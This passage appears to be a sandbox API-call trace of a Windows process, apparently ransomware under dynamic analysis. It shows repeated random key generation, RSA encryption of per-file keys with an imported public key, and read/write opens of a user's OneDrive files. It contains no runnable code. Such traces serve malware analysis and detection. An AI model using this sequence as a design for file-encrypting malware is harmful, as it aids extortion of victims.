CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.224] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.224] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.227] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658500) returned 1 [0172.227] CryptGetKeyParam (in: hKey=0x658500, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.227] CryptEncrypt (in: hKey=0x658500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x32f0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x32f0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.227] GetLastError () returned 0x0 [0172.227] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.227] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0172.230] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658480) returned 1 [0172.230] CryptGetKeyParam (in: hKey=0x658480, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.230] CryptEncrypt (in: hKey=0x658480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3300000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3300000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.230] GetLastError () returned 0x0 [0172.231] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.231] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaError.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotaerror.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.231] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.232] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.232] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.232] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.232] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.232] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0172.233] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.233] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.233] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.233] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.233] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.236] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6585c0) returned 1 [0172.236] CryptGetKeyParam (in: hKey=0x6585c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.236] CryptEncrypt (in: hKey=0x6585c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3310000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3310000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.236] GetLastError () returned 0x0 [0172.236] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.236] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0172.239] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6582c0) returned 1 [0172.239] CryptGetKeyParam (in: hKey=0x6582c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.239] CryptEncrypt (in: hKey=0x6582c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3320000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3320000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.240] GetLastError () returned 0x0 [0172.240] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.240] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaNearing.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotanearing.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.240] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.241] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.241] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.241] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.241] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.241] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0172.242] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.242] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.242] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.242] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.242] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0172.244] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658640) returned 1 [0172.245] CryptGetKeyParam (in: hKey=0x658640, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.245] CryptEncrypt (in: hKey=0x658640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3330000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3330000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.245] GetLastError () returned 0x0 [0172.245] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0172.245] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0172.247] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658680) returned 1 [0172.247] CryptGetKeyParam (in: hKey=0x658680, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.247] CryptEncrypt (in: hKey=0x658680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3340000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3340000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.247] GetLastError () returned 0x0 [0172.247] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.247] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ScreenshotOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\screenshotoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.248] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.249] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.249] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.249] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.249] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.249] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.250] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.250] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.250] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.250] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.250] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.252] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658780) returned 1 [0172.252] CryptGetKeyParam (in: hKey=0x658780, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.252] CryptEncrypt (in: hKey=0x658780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3350000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3350000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.252] GetLastError () returned 0x0 [0172.253] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.253] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0172.255] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6586c0) returned 1 [0172.255] CryptGetKeyParam (in: hKey=0x6586c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.255] CryptEncrypt (in: hKey=0x6586c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3360000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3360000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.256] GetLastError () returned 0x0 [0172.256] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.256] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\TestSharePage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\testsharepage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.256] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.257] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.257] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.257] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.257] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.257] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.258] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.258] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.258] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.258] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.258] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0172.261] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6587c0) returned 1 [0172.261] CryptGetKeyParam (in: hKey=0x6587c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.261] CryptEncrypt (in: hKey=0x6587c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3370000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3370000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.262] GetLastError () returned 0x0 [0172.262] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.262] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.270] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658440) returned 1 [0172.270] CryptGetKeyParam (in: hKey=0x658440, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.270] CryptEncrypt (in: hKey=0x658440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3380000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3380000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.271] GetLastError () returned 0x0 [0172.271] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.271] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ThirdPartyNotices.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\thirdpartynotices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.272] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.275] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.275] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.275] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.275] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.275] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.279] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.279] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.279] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.279] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.279] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0172.289] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658080) returned 1 [0172.289] CryptGetKeyParam (in: hKey=0x658080, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.289] CryptEncrypt (in: hKey=0x658080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x33a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x33a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.290] GetLastError () returned 0x0 [0172.290] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.290] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0172.300] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658540) returned 1 [0172.300] CryptGetKeyParam (in: hKey=0x658540, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.300] CryptEncrypt (in: hKey=0x658540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x33b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x33b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.300] GetLastError () returned 0x0 [0172.300] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.300] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\Warning.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\warning.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.309] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.313] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.313] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.313] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.313] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.313] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0172.317] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.317] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.317] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.317] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.317] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0172.328] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6580c0) returned 1 [0172.328] CryptGetKeyParam (in: hKey=0x6580c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.328] CryptEncrypt (in: hKey=0x6580c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x33c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x33c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.329] GetLastError () returned 0x0 [0172.329] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.329] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.340] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x658100) returned 1 [0172.340] CryptGetKeyParam (in: hKey=0x658100, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.340] CryptEncrypt (in: hKey=0x658100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x33d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x33d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.340] GetLastError () returned 0x0 [0172.340] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.340] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_121120_934-848.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_121120_934-848.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.340] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.343] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.344] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.344] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.344] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.344] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.347] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.347] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.347] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.347] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.347] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0172.358] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x658200) returned 1 [0172.358] CryptGetKeyParam (in: hKey=0x658200, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.358] CryptEncrypt (in: hKey=0x658200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x33e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x33e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.358] GetLastError () returned 0x0 [0172.358] CryptReleaseContext 